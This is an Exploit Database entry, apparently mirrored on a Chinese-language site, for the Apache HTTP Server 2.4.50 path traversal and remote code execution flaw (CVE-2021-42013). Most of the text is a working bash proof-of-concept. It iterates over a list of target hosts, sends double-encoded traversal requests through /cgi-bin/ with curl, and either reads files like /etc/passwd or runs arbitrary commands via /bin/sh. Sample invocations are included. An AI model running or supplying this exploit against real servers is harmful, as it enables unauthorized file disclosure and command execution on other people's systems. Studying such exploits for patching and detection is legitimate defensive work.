Apache HTTP Server 2.4.50 – Path Traversal & Remote Code Execution (RCE)

• Exploit Database
• 11 阅读

• 作者： Lucas Souza
  日期： 2021-10-13
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50406/

• # Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
  # Date: 10/05/2021
  # Exploit Author: Lucas Souza https://lsass.io
  # Vendor Homepage:https://apache.org/
  # Version: 2.4.50
  # Tested on: 2.4.50
  # CVE : CVE-2021-42013
  # Credits: Ash Daulton and the cPanel Security Team
  
  #!/bin/bash
  
  if [[ $1 == '' ]]; [[ $2 == '' ]]; then
  echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
  echo ./PoC.sh targets.txt /etc/passwd
  echo ./PoC.sh targets.txt /bin/sh id
  
  exit
  fi
  for host in $(cat $1); do
  echo $host
  curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done
  
  # PoC.sh targets.txt /etc/passwd
  # PoC.sh targets.txt /bin/sh whoami